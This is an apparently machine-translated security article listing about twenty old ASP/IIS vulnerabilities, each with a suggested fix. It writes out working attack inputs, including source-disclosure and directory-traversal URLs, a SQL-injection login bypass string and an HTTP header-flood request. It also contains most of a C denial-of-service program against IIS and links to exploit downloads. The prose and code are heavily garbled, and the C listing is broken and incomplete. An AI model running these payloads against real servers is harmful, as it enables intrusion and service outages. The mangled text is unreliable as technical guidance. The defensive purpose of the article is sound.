ASP vulnerability and security recommendations

xiaoxiao2021-03-06 101

ASP Vulnerability and Security Suggestions (Birds) A Preface Microsoft Active Server Pages (ASP) is a server-side script to write a web server application that can create and run dynamic, interactive. Use ASP to combine HTML pages, scripting commands, and ActiveX components to create an interactive web page and web-based power-based applications. Nowadays, many websites, especially the e-commerce website, mostly used ASP on the front desk. So now ASP is very common on the website application. ASP is a quick tool for developing website applications, but some webmasters only see the rapid development capabilities of ASP, but ignore ASP security issues. The ASP has been subject to many vulnerabilities, the pain of the latter, including the nightmare of% 81, password verification, IIS vulnerability, etc. have always made the ASP website developers have been shocked. This article tries from an Operating system vulnerability and ASP program itself, and explains the ASP security issues, and gives a solution or suggestion. Two keywords ASP, network security, IIS, SSL, encryption. The three ASP work mechanism Active Server Page technology provides the application developers with scripting intuitive, fast, and efficient application development methods, which greatly improves the development of the development. Let's take a look at how the ASP works before discussing the security issues of ASP. The ASP script is written in a plain text. The ASP script is a file that is written in a text format that is composed of a script that is mixed with a standard HTML page in a series of specific symphony (currently supporting VBScript and JScript two scripting languages). When the client's end user uses a web browser to access an ASP script-based app, the web browser will send an HTTP request to the Web server. Web server analysis, judging that the request is an application of the ASP script, and automatically calls the ASP script to interpret the ASP script through the ISAPI interface. Asp.dll will get the specified ASP script file from the file system or internal buffer, then perform syntax analysis and explain it. The final processing result will form the contents of the HTML format, return to the web browser through the web server "original road", and the final result is presented by the web browser to the client. This completes a complete ASP script call. Several organic ASP script calls form a complete ASP scripting application. Let's take a look at the environment you need to run the ASP: Microsoft Internet Information Server 3.0 / 4.0 / 5.0 ON NT Server Microsoft Internet Information Server 3.0 / 4.0 / 5.0 on Win2000 Microsoft Personal Web Server On Windows 95/98 Windows NT Option Pack Microsoft IIS provides powerful features, but IIS is more dangerous in network security. Because few people will use Windows 95/98 as the server, this article I will discuss from the IIS security issues in NT. Safety Advantages of Siwei Soft Solites ASP Although the focus of our paper is to explore the ASP vulnerability and the back door, it is necessary to talk about the "advantage" of ASP in network security, "" because sometimes these Microsoft claims " Advantages "is precisely its security hidden. Microsoft said that ASP is a major advantage in network security. It is that users cannot see ASP's source programs. From ASP, the ASP executes and interprets a standard HTML statement to the client browser.

"Shield" source can maintain the copyright of the ASP developer. Imagine that you have made a very good process, give people any Copy, what do you think? And hackers can also analyze your ASP program and pick out the vulnerability. More importantly, some ASP developers like to write passwords, privileged usernames and paths directly in the program, so others can find the "entrance" of the attack system through guessing code, guess the path. However, many vulnerabilities that can view the ASP source program have been discovered, and we will also discuss it later. IIS supports virtual directory, manage virtual directories by the Directory tab in the Server Properties dialog box. Establishing a virtual directory is very important for managing Web sites. The virtual directory hides important information about the site directory structure. Because the customer can obtain the file path information of the page by selecting "View Source Code", it is easy to obtain the file path information of the page. If you use the physical path in the web page, you will expose important information about the site directory, which is easy to cause the system to be attacked. . Second, as long as the two machines have the same virtual directory, you can move the web page from one machine from one machine without any changes to the page code. Also, when you place a web page in a virtual directory, you can set different properties to your directory, such as: Read, Excute, Script. Read Access Indicates that directory content is passed from IIS to your browser. The execution of access can perform executable files in this directory. When you need to use the ASP, you must set the directory of the .asp file to "Excute". It is recommended that when you set up a Web site, place the HTML file with the ASP file in different directories, then set the HTML subdirectory to "Read", set the ASP subdirectory to "Execute", which is not only convenient for web. Manage, and most importantly improve the security of the ASP program to prevent program content from being accessed by the customer. Five ASP vulnerability analysis and solution Some people say that a computer that does not contact the outside is the safest computer, a computer that closes all ports and does not provide any service is also the safest. Hackers often use the port we open to implement attacks. These attacks are the most common is DDOS (denial of service attack). I will list more than 20 vulnerabilities in ASP, each vulnerability will have a vulnerability description and solution. 1 Add a special symbol after the ASP program, you can see the affected version of the ASP source: Win95 PWS IIS3.0 98 PWS4 does not exist this vulnerability. This loophole does not exist in IIS4.0 or more. Description of the problem: These special symbols include decimal points,% 81,:: $ data. For example: http: //someurl/somepage.asp. Http: // SomeURL / SomePage.asp% 81 http: // SomeURL / Somepage.asp :: $ data http: // SomeURL / SomePage.asp% 2E HTTP: / / someURL / SomePage% 2E% 41sp http: // SomeURL / SomePage% 2E% ASP http: // SomeURL / SomePage.asp% 2e http: //someurl/msadc/samples/selector/showcode.asp? Source = / MSADC /samples/../../../..../../boot.ini (you can see the file content of boot.ini) So in the installation of IIS3.0 and Win95 PWS. It is easy to see SomePage.asp source program.

What is the reason for this terrible vulnerability? The root cause is actually the Windows NT-specific file system is doing strange. One of the common sense knows that in NT provides a file system completely different from FAT: NTFS, this technique called new technology file system makes NT have a high security mechanism, but it is because It has produced a lot of hazardous hazards. Everyone may not know that NTFS supports the multi-basis flow in a file, and this main data stream containing all content is called "data", so it makes it easy to access this characteristic of the NTFS system directly in the browser. The capture of the script in the file is possible. However, the reason for: $ data is due to the problem of IIS when the file name is analyzed, it does not standardize the file name. Solutions and recommendations: If you are WinodWS NT users, install IIS4.0 or IIS5.0, Windows2000 does not exist. If you are Win95 users, install WIN98 and PWS4.0. 2 ACCESS MDB Database Multi-Vulnerability Description: When you use Access to make a background database, if someone knows or guesses the path of the server and the database name of the server, then he can download this Access database file. This is very dangerous. For example, if your Access database book.mdb is placed in the Database directory in the virtual directory, then someone is entered in the browser: http:// SomeURL / Database / book.mdb If your book.mdb database does not encrypt in advance If all important data in book.mdb, all important data is in the hands of others. Solution: For your database file name, you will have a complex unconventional name and put him in a few destinations. The so-called "unconventional", for example, if there is a database to save information about books, don't give him a "book.mdb" name, a weird name, such as D34ksfslf.mdb, then Put him in a few layers of directory such as ./kdslf/i44/studi/, this hacker wants to get your Access database file by guessing. (2) Do not write the database name in the program. Some people like to write DSN in the program, such as: dbpath = server.mappath ("cmddb.mdb") conn.open "driver = {Microsoft Access Driver (* .mdb)}; dbq =" & dbpath, if When people get the source program, your name of your Access database has a lot. So I suggest you set up a data source in ODBC, then write in the program: Conn.open "shujiyuan" (3) Use Access to encode and encrypt database file file. First, "Tools-> Security-> Encrypted / Decrypting Database, select the database (such as: EMPLOYER.MDB), then then then determine, then" Database Caused Save Save Save "window, save: Employer1.mdb. Employer.mdb will be encoded, then eMployer1.mdb .. It is important to note that the above action is not a password to the database, but only the database file is encoded, the purpose is to prevent others from using another tool to view The content of the database file. Next we encrypt the database, first open the encoded Employer1.mdb, select "exclusive" mode when open.

Then select the "Tools -> Security -> Setting Database Password" of the menu, then enter the password. After setting the password for the Employer1.mdb, then if you use the Acces database file, Access will first require a password to verify the correct database. However, in the open method of the Connection object in the ASP program, the parameters of the PWD can be added, for example: param = "driver = {Microsoft Access Driver (* .mdb)}; PWD = YFDSFS" param = param & "; dbq =" & Server.mappath ("Employer1.mdb") Conn.open param This even if he got an Employer1.mdb file, there is no password, he can't see Employer1.mdb. 3 Code.asp files Leak ASP code problem description: A simple example, there is a .asp file in the ASP1.0 routine provided by Microsoft, which is specifically used to view the source code for other .asp files, this file is Aspsamp / samples / code.asp. If someone uploads this program to the server, he can easily view the procedures of others. For example: code.asp? Source = / directory / file.asp But this is a more old vulnerability, I believe this vulnerability now. The following is a comparison of new: http: //someurl/iissample/exair/howitworks/code.asp? /Lunwen/soushuo.asp=xxx.asp The biggest harm is that the ASA file can be read by the above manner; database password Exposing in the form of a hacker; problem resolution or suggestion: For the SHOW ASP Code of IIS, delete the file or disable access to this directory 4, FileSystemObject component Doctor Download any files on the FAT partition Download any file on the FAT partition. Vulnerability Problem Description: IIS3, IIS4 ASP file operations can be implemented through the FileSystemObject, including the read and write directory operation of the text file, copy of the file, but this powerful function has left a very dangerous "back door". Use FileSystemObjet to tamper with any files on the FAT partition. Even if the NTFS partition, if the permissions are not set, it can also destroy, and you may suffer from the disaster of the top. Unfortunately, a lot of WebMaster only knows that the web server is running, and rarely performs permission settings, and the default setting of NT directory permissions is low and terrible. So if you are a webmaster, it is recommended that you pay close attention to the server settings, try to build the web directory in the NTFS partition, do not set the Everyone Full Control, even if the member of the administrator group is generally there is nothing necessary, as long as there is Read, change the permissions is enough. You can also delete or rename the components of FileSystemObject. 5. Input standard HTML statement or JavaScript statement changes the output result problem description: What is the result of being entered in the standard HTML statement in the input box? For example, a message, we will join in the message: Hello! If you do not block the HTML statement in your ASP program, you will change the size of the "Hello" font.

In the message, change the font size and the map sometimes not a bad thing, but it can make the message this vivid. But if you write a JavaScript cycle in the input box, such as: Extraordinary News So other guests viewing the message will move the mouse to "Extraordinary News", the user's browser will die due to dead cycles. Solutions and Suggestions: Write a similar program to prevent such operations, such as writing a program to determine the client's input, and block all HTML, JavaScript statements. 6, ASP program password verification Vulnerability Vulnerability Description: Many websites put the password into the database, with the following SQL in the login verification, (as an example) SQL = "SELECT * from user where username = '" & username & "' and pass = '"& pass &'" At this point, you can construct a special username and password according to SQL, such as: Ben 'or' 1 '=' 1, you can enter the page you don't have privilege. Let's see the statement above.吧: SQL = "SELECT * from user where username = '" & username "" At this point, you only need to construct a special username and password according to SQL, such as Ben' or '1' = '1, the program will become like this: SQL = "Select * from username where username =" & Ben'or'1' = 1 & "and pass =" & pass "or is a logical operator, the role is judging two When the condition is, as long as one of the conditions is established, the equation will be established. In the language, it is true (established) in 1. So in this line of statement, the "AND" verification of the original statement will no longer Continue, because "1 = 1" and "OR" status return to true value .. In addition, we can also construct the following username: username = 'aa' or usrname <> aa 'pass =' aa 'or pass <> AA 'The corresponding username in the browser side is written within the username box: aa' or username <> AA Password box: AA 'or Pass <> AA, pay attention to these two strings, no '. This can be successfully defrauding the system and enters. Although the latter method theory is, it is very difficult to practice, the following two conditions must be available. 1. You must first know the system accurately Which two fields are used to store usernames and passwords, only this can be accurately constructed of this offense string. In fact, this is hard to guess. 2. The system does not have valid for the string you entered. Sexual inspection. Problem resolution and suggestion: Processing of the input content verification and "'".

7, IIS4 or IIS5 installed with Index Server service Vulnerability ASP Source Problem Description: InDex Server running IIS4 or IIS5, enter a special character format to see a program of ASP source or other pages. Even the system has been added to the system of the patch of the source code, or there is no .htw file system, there is the same problem. Get an ASP program, even the source code of the global.asa file, undoubtedly a very significant security hazard. User passwords and IDs are often included in these codes, as well as the source path and name of the database. This is very important for the attacker to collect system information. By building the following special programs, you can see the program source code: http://202.116.26.38/null.htw?ciwebhitsfile=/default.asp&cirestriction=none&cihilittype=full This is just the file code of some HTML format, but when you add% Behind the parameters of CiWebhitsFile, as follows: http: //someurl/null.htw? CiWebhitsFile = / default.asp% 20 & Cirestriction = None & CiHILITYPE = FULL This will get the source code of the program. (Note: /Default.asp is calculated by the root of the web. Such as a site http: //welcome/welcome.asp is then: http: //someurl/null.htw? CiWebhitsFile = / welcome / welcome. ASP% 20 & CIRESTTION = None & CiHilittype = FULL) Since the 'null.htw' file is not a real system mapping file, it is just a virtual file stored in system memory. Even if you have removed all the true .htw files from your system, because the request for null.htw file is processed by WebHits.dll. Therefore, IIS still receives the threat of the vulnerability. Problem resolution or suggestion: If the function provided by the WebHits is that the system must, download the appropriate patch. If there is no need, use IIS's MMC management tool to simply remove the .htw image file.

The patch is as follows: Index Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp?releaseid=17727 alpha: http://www.microsoft.com/downloads/release.asp?releaseid=17728 Indexing Services for Windows 2000: Intel: http://www.microsoft.com/downloads/release.asp?releaseid=17726 8. Vulnerability Problem of ASP Chat Room Program: If the chat room ASP program is not properly designed, it is easy to give Others have used to do bad things: can kick, wear walls, mess. First, let's take a look at what vulnerabilities in the chat room, let's take a look at the code below: .........................................................

****** ********

Speech:

SR: Object: expressions: !!!!!!! !!!! The above code is that I am in a chat room, after the "tester" is logged in, this is only a small part. But there are two vulnerabilities in this small part of the code. The first vulnerability, let's take a look at the two sentences of the "*" number, the "Tester" in the first sentence is the name of my landing, and "BOY" in the second sentence is landing. At the time of the gender, and then look at the two words of "!", There is still the name when I log in, these sentences are what I want to say now. If you want to wear a wall in this chat room, just save the code of the speech frame, change the "form" "action" to the address of the chat room, and then test the first sentence of "*" "The words change to the desired name can be. You can also transform gender, as long as the "BOY" of the second sentence is changed to "Girl". This is the so-called wall. You can even change it into the name of the line, and then speak, so you will pretend to be a name conversation of others. The second vulnerability kickup is this, let's take a look at the first sentence of "!", There is a legal user login name, then look at the second sentence, he has "getout", plus the above There is also a "form" tag, this is the code when we quit the chat room. What is this? Let's try it first, first of all, or to change the "Action" tag of the "form" to the address of the chat room, otherwise I don't know which guy submitted. Then change the "wind" to the name of the person you want to play, and click "Exit", then kick the person out of the chat room. This is a vulnerability of chat room kicks. These two vulnerabilities are mainly why the two vulnerabilities make the service program not to identify the instruction issued by the customer. The above two drag swam programs are renamed to make a statement, or renamed exit, making real users to be victimized. Of course there is a vulnerability above, the input box does not filter the HTML statement and the JavaScript statement. This problem we have analyzed in the vulnerability 5, and you will not talk about it here. Problem resolution or suggestion: In the program design, let the service program can identify which guys can be issued, the specific practice can send a identification code for each chat, like five words, you can also use each chatter. The password identification can also be used as an identification after randomly encrypted the chatter's password. It can make your service program to identify who issued the instructions.

9, NT ISS4.0_AUTHCHANGEURL? Vulnerability Problem Description: In NT IIS4.0, http: // someurl / _authchangeurl? Hello, how did you see what happened? ? The successful "Hello" word is interpreted, let's take a look at the following command: http: // someurl / _authchangeurl? The above command will display the C: root directory 1.jpg image, if the 1.jpg exists. http: // someurl / _authchangeurl? The above command will download the install.exe file in the root directory. According to this approach, you can also open a known text file on the other party. 10, Microsoft development two dynamic libraries in the back door allow users to view the ASP file source program and download the entire website problem Description: The dynamic library program of IIS and FrontPage Extens Server, there is back door, allowing users to remotely read ASP, ASA and Source code for the CGI program. But this dynamic library requires a password. The password of this back door is: "Netscape Engineers Are Weenies!" Program path is: /_vti_bin/_vti_aut/dvwssr.dll Generally installed the FrontPage98 IIS server has this path and file. This program requires decoding to play the ASP equal source program, interesting is that this password is just ridicuing its competitors Netscape. Now provide a foreign website to the security technician reference: http://62.236.90.195 About reading the source, please download this test program, usage is: [John @ Linux john] $ ./dvwssr1.pl 62.236 .90.195 /cqsdoc/showcode.asp test procedure: http://www.cnns.net/exploits/nt/dvwssr1.pl

11, Vulnerability Name: IIS4.0 is described by HTTP DOS Attack Vulnerability Problem: The affected version: IIS 4.0 and earlier versions This is a very simple method. Send a lot of "Host: aaaaa ... aa" to IIS: Get / http / 1.1 Host: Aaaaaaaaaaaaaaaaaaaaaa .... (200 Bytes) Host: Aaaaaaaaaaaaaaaaaaaaa .... (200 Bytes) ... 10,000 Lines Host: Aaaaaaaaaaaaaaaaaaaaaa .... (200 Bytes) Send like the above After the two requests written, the other party's IIS will cause memory overflow after accepting these requests. Of course, it cannot respond to more requests. Because the other party is lacking virtual memory, the server will also stop running. Afterwards, the other party cannot solve the problem by restarting Web Service, but must restart the server. 12 Vulnerability Name: IIS5.0 Ultra Long URL Denial Service Vulnerability Problem Description: Microsoft IIS 5.0 There is two results when processing URL requests with ".ida" as the extension. One possible result is the information of the server to reply "URL STRING TOON"; or similar to "Cannot Find The Specified Path". Another possibility is that the server-side service is stopped and returns "Access Viological" information (that is, the successful implementation of the rejection service attack on the server) When the remote attacker issues a similar request: http: // someurl / .. [25KB

Of '.'] ... IDA Server Club crashes (causing a denial of service attack) or returning to this file is not in the current path (exposure file physical address) problem resolution or suggestion: Most cases, sites rarely use extensions For ".ida" and ".idq" files, you can delete the extension ".ida" and ".idq" application in the ISAPI script map. 13 The extension of the request is not extension is IDQ or IDA file, exposes the server on the server. Problem Description: By requesting an unssenced extension IDQ or IDA to get file, IIS exposes the file on the server to the server. This will provide an unnecessary information to an attacker, and this is a very valuable first step for attacking a Web site. Test procedure: You can receive similar: 'The IDQ D: /Http/aNything.idq could not be found 'response. Such a response will allow an attacker to get the physical path to the Web site, and you can get more organizations and structures about the site on the server. 14. NT Index Server There is a vulnerability problem that returns the superior directory Description The affected version: Microsoft Index Server 2.0 [WinNT4.0, Winnt 2000.0] index sserver2.0 is a tool for a software included in Winnt 4.0 Option Pack, where The function has been included in Indexing Services in WinNT 2000. When used in conjunction with IIS, INDEX Server and Indexing Services can browse the result of the web search in the original environment, which will generate an HTML file, which contains a short reference to the content returned to the page after searching, and connect it to The returned page [ie pages that meet the query content], that is, the super connection. To do this, it needs to support the .htw file type by the WebHits.dll Isapi program. This DLL allows ".." to be used in a template to return a string that returns the superior directory. This way, an attacker under the server file structure can be remotely read any files on the machine. Vulnerability Utilization: 1) This super connection exists in your system. HTW file Index Server provides the web user to get a return page about his search results, this page's name is through the .htw file with the CIWebhitsFile variable, WebHits.dll This ISAPI program will handle this request, which is super-connected and returned to this page. Therefore, the user can control the CiWeBHITS variable of the .htw file requests any desired information. One problem in existence is that the source code for ASP or other script files can also be obtained.

Above we said that "../" can be accessed by "../", we can access the file outside the web virtual directory. Let's take an example: http://somerul/iissample/issample/oop/qfullhit.dll? CiWebhitsFile = / .. / .. / Winnt / System32 / logfiles / w3svc1 / es000121.log & Cirestriction = None & CiHILITYPE = FULL Enter the web log file for the date on the server. It is common in the system. HTW sample files are: /iissample/issample/oop/qfullhit.htw /iissample/issamples/oop/Qsumrhit.htw /iissample/exair/search/QFullHit.htw /iissample/exair/search/Qsumrhit.hw / Iishelp / IIS / MISC / IIRTURNH.HTW [This file is usually limited by Loopback] 2) There is no .htw file call a webhits.dll isapi program in your system, if you don't exist .htw file in your system, Although requesting a .htw file will fail, you still have a vulnerability that can be utilized. The trick is to use inetinfo.exe to call WebHits.dll, which can also access files outside the web virtual directory. But we need to complete the exploitation of this vulnerability by making a special URL. First we need a valid file resource, this file must be a static file, such as ".htm", "HTML", ". TXT" or ".gif", ". Jpg". These files will be used as a template to be opened by WebHits.dll. Now we need to get inetinfo.exe to use WebHits.dll, the only thing you can do is to ask a .htw file: http://url/default.htm.htw? CiWebhitsFile = / .. / .. / Winnt /system32/logfiles/w3svc1/ex000121.log&cirestriction=none&cihilitetype=Full is obvious, this request will definitely fail because there is no such file on the system. But please note that we have called now to WebHits.dll, we only need to be behind a file resource [也 .htw front] plus a string of special numbers (% 20s), [is default.htm in the example Behind this representative space special number], so we can deceive the web server to achieve our goal. Since the HTW file name part is deleted in the buffer section [due to% 20s symbol], When transferring to WebHits.dll, the file can be successfully opened and returned to the client, and the process does not require a real .htw file in the system. Problem Solutions and Suggestions: Microsoft has issued patch on this issue: INDEX Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp? Releaseid = 17727

Alpha:

Http://www.microsoft.com/downloads/release.asp?releaseid=17728

Windows 2000 Indexing Services: Intel:

http://www.microsoft.com/downloads/release.asp?releaseid=17726

15 Repair the verification directly into the ASP page. Vulnerability Description: If the user knows the path and file name of an ASP page, this file is to be verified, but the user directly enters the file name of this ASP page, it is possible to pass the verification. For example: I I tried this on some websites: First close all browsers, windows, enter: http: //someurl/system_search.asp? Page = 1 When you see that you can only see the system can see. Of course, some people will also add a judgment in the beginning of SYSTEM_SEARCH.ASP in order to prevent this, such as judge the session ("system_name"), if not empty, so that the above URL request cannot directly enter the administrator Page. However, this method also has a vulnerability. If the attacker first uses a legal account, or generates a session on this machine, such as session ("system_name") = "admi", because session ("system_name" is not empty This can also directly enter the password, directly into the administrator page. Workaround: Perform appropriate processing at the beginning of the ASP page that needs to be verified. For example: track the file name of the previous page, only the session that is transferred from the previous page can read this page. 16, IIS4.0 / 5.0 Special data format URL Remote DOS Attack Vulnerability Description: When there is a web service with IIS4.0 or IIS5.0 installed, request a URL with special data format, which will slow down attack The response speed of the web server may make it temporarily stopped. Affected versions of Microsoft Internet Information Server 4.0 Microsoft Internet Information Server 5.0 vulnerability testing procedure is as follows: http://202.96.168.51/download/exploits/iisdos.exe source code is as follows: http://202.96.168.51/download/exploits/ IISDOS.ZIP Test Program: Just be to: IISDOS <***. ***. **. **> You can attack the other party Web server problem Solution: Internet Information Server 4.0: http://www.microsoft.com/ DownloadS / RELESE.ASP? ReleaseID = 20906 Internet Information Server 5.0: http://www.microsoft.com/downloads/release.asp?releaseid=20904 More information: http://www.microsoft.com/technet/ Security / Bulletin / MS00-030.asp Microsoft Security Announcement MS00-021: http://www.microsoft.com/technet/security/bulletin/fq00-030.asp related connection http://www.ussrback.com 17 IIS Web Server DOS Vulnerability Description: By default, IIS is easy to be denied service attacks. If a key called "MaxClientRequestBuffer" in the registry is not created, attacks for this NT system can usually work. "MaxClientRequestBuffer" This button is used to set the IIS allowed the acceptable input. If "MaxClientRequestBuffer is set to 256 (bytes), the attacker will be restricted within 256 bytes by entering a large number of character requests IIS.

The default setting of the system is not limited to this, so the following programs are utilized.

You can easily implement DOS attacks on IIS Server: #include #include #define max_thread 666 void cng (); char * server; char * buffer; int port; int counter = 0; INT current_threads = 0; int Main (int Argc, char ** argv) {Word Tequila; Wsadata Data; INT P; DWORD TID; Handle Hthread [2000]; // This Code is as AND sucks as it is. won ' TEIT CORRECTLY AND A LOT OF Other Fun Things. // That I Didn't Want To Take The Time To Do. So Just Ctrl C Out of The Code. // Load Up Cnghack.exe 3 Times for Charm. Printf "CNG IIS dos./nmarc@eeye.com/nhttp://www.eeye.com/n/"for my beloved./"/n"); if (argc <2) {printf ("USAGE:% s [port] / n ", argv [0]); exit (1);} buffer = malloc (17500); MEMSET (Buffer, 'A', Strlen); Server = Argv [1]; Port = atoi (Argv [2]); Tequila = MakeWord (1, 1); Printf ("Attempting to Start Winsock ..."); IF ((WsaStartup (Tequila, & Data))! = 0) {Printf (" Failed to start winsock./N "); exit (1);} else {printf (" started winsock./n/n ");} counter = 0; for (p = 0; p

Dstsain.sin_addr.s_addr = inet_addr (server); if ((SockFD = Socket (AF_INET, SOCK_STREAM, 0) <0) {PrintF ("Failed to Create Socket / N"); --current_threads; return;} = CONNECT (Sockfd, (Struct SockAddr *) & dstsain, Sizeof (DSTSAIN))) {P = Send (SockFD, Getkilled, Strlen (getkilled), 0); Printf ("Step 1:% I / N", P); For (;;) {p = send (sockfd, buffer, strlen (buffer), 0); Printf ("p:% I / n", p); // put in some code to check if send = -1 more THEN X TIMES We Drop The loop and exit the thread // Blalla Blal I love the dirtiness of concepter code.}; printf ("EXITED CNG / N"); Return;} cnghack.c Works by doing the FOLLOWING: CONNECTS TO EXAMPLE.COM Sends: get / http / [return] [buffer] where: [RETURN] IS JUST AN / R / N [buffer] IS A NEVER Ending Stream of A'S attack results will cause the NT system's CPU occupation rate of 100% solution runs in Regedt32.exe: HKEY_LOCAL_MACHINE / SYSTEM / CurrentControlSet / Services / w3svc / parameters to add a value: value Name: MaxClientRequestBuffer Data Type: REG_DWORD set to decimal specific value you want to set IIS to allow acceptance The URL maximum length. CNNS set to 256 18, MS ODBC database connection overflow causes NT / 9X Deny Service Attack Vulnerable Cave Description: The Microsoft ODBC database may have potential overflow issues (Microsoft Access Database) in connection and disconnection. If you do not cancel the connection, you can directly connect directly to the second database, it may cause the service to stop.

Impact System: ODBC Version: 3.510.3711.0 ODBC Access Drive Version: 3.51.1029.00 OS Version: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386) Microsoft Office 97 Professional (mso97.dll: 8.0.0.3507) Vulnerability detection method is as follows: ODBC connection source name: Miscdb odbc database model: MS Access ODBC assumption path: D: /DATA/Misc.mdb ASP code as follows: <% set connvb = server.createObject ("adoDb.connection" connvb.open "driver = { Microsoft Access Driver (* .mdb)}; DSN = Miscdb "%> ... LOTS of HTML Removed ..." Rename "), such as change to hkey_classes_root / scripting.filesystemObject2, in ASP This object must be referenced: set fso = createObject ("scripting.filesystemObject2) instead of: set fso = createObject (" scripting.filesystemObject ") If you use the usual method to call the FileSystemObject object will not be used. As long as you don't tell others this changed object name, others cannot use the FileSystemObject object. In this way, as a site manager, we will put an illegal use of the FileSystemObject object, and we can still use this object to make it easy to implement the website online management! 21 IIS4.0 / IIS5.0 Ultra-long file name request presence vulnerability vulnerability description: Affected version: Microsoft IIS 5.0 Microsoft Windows NT 2000 Microsoft IIS 4.0 Microsoft Windows NT 4.0 Microsoft BackOffice 4.0 Microsoft Windows NT 4.0 Microsoft BackOffice 4.0 Microsoft Windows NT 4.0 When adding 230 "% 20" after a known file name, add a .htr, the content of the file is installed with Microsoft IIS 4.0 / 5.0. This is caused by ISM.dll map. Such as http: // target / filename% 20 .htr This request is only when the .htr request is the first call or ism.dll Once loading, memory can work.

Solution: install the patch Microsoft IIS 5.0: http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE Microsoft IIS 4.0: http://download.microsoft.com/ Download / IIS40 / PATCH / Q260838 / NT4I.EXE 22 ASP editor automatically backed up ASP files, which will be downloaded: Vulnerability Vulnerabilities in Some Edit ASP Programs, Create or Modify A ASP file When the editor automatically creates a backup file, such as: UltraEdit will back up a ..bak file, such as you create or modify some.asp, the editor automatically generates a some.asp.bak file, if you don't delete this BAK file, the attack can download some.asp.bak files directly, so that Some.asp's source program will be downloaded. How can Six ASP security recommendations to make ASP more secure? The following focuses on talking about the issues of ASP security. We also propose corresponding security recommendations in the fifth part of "ASP Vulnerabilities and Solutions", which also puts forward corresponding security recommendations. This part will no longer repeat. Along the following, you will also introduce some tools that scan the ASP vulnerability. 1 Installing NT latest patches The latest patch is NT Option Pack 6.0., Microsoft's homepage has the latest patches. Generally, Microsoft will promptly publish the latest vulnerabilities and patches. At present, IIS is 5.0. Windows2000 comes with IIS5.0. IIS 5.0 The new features are as follows: Security: including summary verification, integrated Windows authentication, SGC (Server-Gated Cryptography), Microsoft Certificate Services 2.0, the program protector of the central processing program. Management: including IIS reactivation, stop CPU usage time limit, CPU resource usage record, using Terminal Services remotely manages IIS, self-book error message, etc. Internet standards: including WebDAV (Web Distributed Authoring and Version, FTP Reactive, HTTP compression, etc. Active Server Pages: Includes a new steering method (Server.Transfer and Server.execute method), new error handling function (server.getlasterror method), no instructions .Anp execution speed, can be upgraded to the function of the installation component, Scriptlet support, use cookies to get browser information, automatic reduction and decryption (Executing Threads), SRC server-side contain features, Script Encoder encoding protection, etc. For more specific features, please refer to other information. 2 Turn off the service and protocol "" Try to use the service ", this is always a criterion for network security. If you open a service, you have to face a lot of vulnerability, more importantly, you still have to fade the future of the vulnerability caused by this service. For example, if you don't use FTP, then turn the FTP, or you have to pay a lot of energy and money to deal with the vulnerabilities such as DOS, buffer overflow. NetBIOS is also a major security hazard in Windows, I think the server is rarely need NetBIOS. As your IIS has installed Index Server service, you must at least face more than three of the vulnerabilities about this service, so if you don't use the INDEX Server service, you can delete him. The same reason, we have to install Minimum protocol. Don't install point-to-point channel communication protocol. In addition, you must also configure the TCP / IP protocol.

Select the IP Address item in the Properties page of TCP / IP and select Advanced. Select "Security Mechanism" in the pop-up dialog box so you can disable UDP, then turn on IP port 6 and TCP port 80. Of course, it is mainly to see your situation. The application map in IIS is also a big security vulnerability, set the extension and executable path in IIS, and delete the unused extension. 3 Set your NT NT default installation, system account administrator and guest are set automatically, and many attackers use these accounts to guess the password, so that you enter your system. Although there is not enough patience, it is difficult to guess these passwords, but for safety reasons, it is recommended to rename or delete these accounts. NT Server's System Policy Editor is very useful. Press "Management Tool" -> System Policy Editor "to enter, then select File ->" Open Registry ", and select the Local Computer icon, you can be carefully configured. Mainly set the following: Cancel: Network -> System Rule Update -> Remote Update Cancel: Windows NT Network -> Share -> Creating Hidden Drive Sharing Settings: Windows NT Remote Access The following settings: Windows NT System -> Log in to each item. Including setting login tags; not allowing from "Authentication dialog" to shut down; not displayed last logged in username. Setting: Windows NT System -> File System "Do not create a 8.3 file name" Do not use remote Manage software unless it is not necessary. Since NT does not support remote management, you might install Reachout or PC Anywhere to manage. However, when you have these software installed, you have to turn on all ports of TCP / IP. When you leave the server, press "Ctrl Del Alt" and select "Lock Workstation". 4 Disk file format Use a relatively secure NTFS format. NTFS permissions are the basis for web server security, which defines a different level of one or a group of users access files and directories. When a user with a Windows NT valid account attempts to access a file with permission restrictions, the computer will check the file access control table (ACL). This table defines the permissions given by different users and user groups. For example, the owner of the web application on the web server needs to have "change" permissions to view, change, and delete the application's .asp file. However, public users accessing the application should only be granted "read-only" permissions to limit them to only view and cannot change the web page. 5 Set different properties to the directory, such as: Read, Excute, Script. You can limit all users to view, run, and proceed for your ASP page by configuring your Web Server. Unlike NTFS permissions, the control specific user is accessible to application files and directories, and web server rights apply to all users, and does not distinguish the type of user account. For users to run your ASP application, when setting up web server permissions, you must follow the following principles: Allow "Read" or "Script" permission to include .asp files. For the .asp file and other files that include scripts (such as .htm files, etc.) allow "read" and "script" permissions. Configuring the "Read" and "Execution" permissions for files that contain .asp files and other files that need to be "executed", such as .DLL files, etc..

6 Maintaining Global.asa Safety To fully protect the ASP application, you must set NTFS file permissions to the appropriate user or user group on the application's global.asa file. If Global.asa contains commands to return information to the browser, you do not protect the global.asa file, the information will be returned to the browser, even if the application's other files are protected. 7 Do not write your password, physical paths directly in the program. It is difficult to ensure that your ASP program will give people, even if you have the latest patches. For security reasons, you should save your password and username in the database and use the virtual path. 8 Record the user's details in the program. This information includes the user's browser, the user's stay, the user IP, etc. The record IP is most useful. The following statement is available to understand the information of the client and the server:

<% for each name in request.servervariables%>

<% = Name%>:

<% = Request .servervariables (name)%> <% next%> If we can record the user's IP, you can check the user's specific location. Of course, if the user browses the web, the above method can only see the IP of the user agent, and the user's true IP cannot be recorded. The ASP does not provide the ability to view the client network card physical address (ie Mac). 9 Cookie Security ASP Use the sessionID cookie to track the information of the specific web browser during the application accesses or sessions. That is to say, HTTP requests with corresponding cookies are considered to be from the same web browser. The web server can configure an ASP application with user-specific session information using SessionID cookies. For example, if your application is an online music store that allows users to select and purchase CDs, you can use sessionID to track users to roam the entire application. Can the sessionID be gueled by a hacker? In order to prevent computer hackers from guessing sessionid cookies and access to the legal user's session variables, the web server assigns a random generated number for each sessionID. Whenever the user's web browser returns a sessionID cookie, the server takes out the sessionID and the number of numbers, and then checks if the generated number stored on the server is consistent. If two numbers are consistent, users will allow users to access session variables. The effectiveness of this technology is 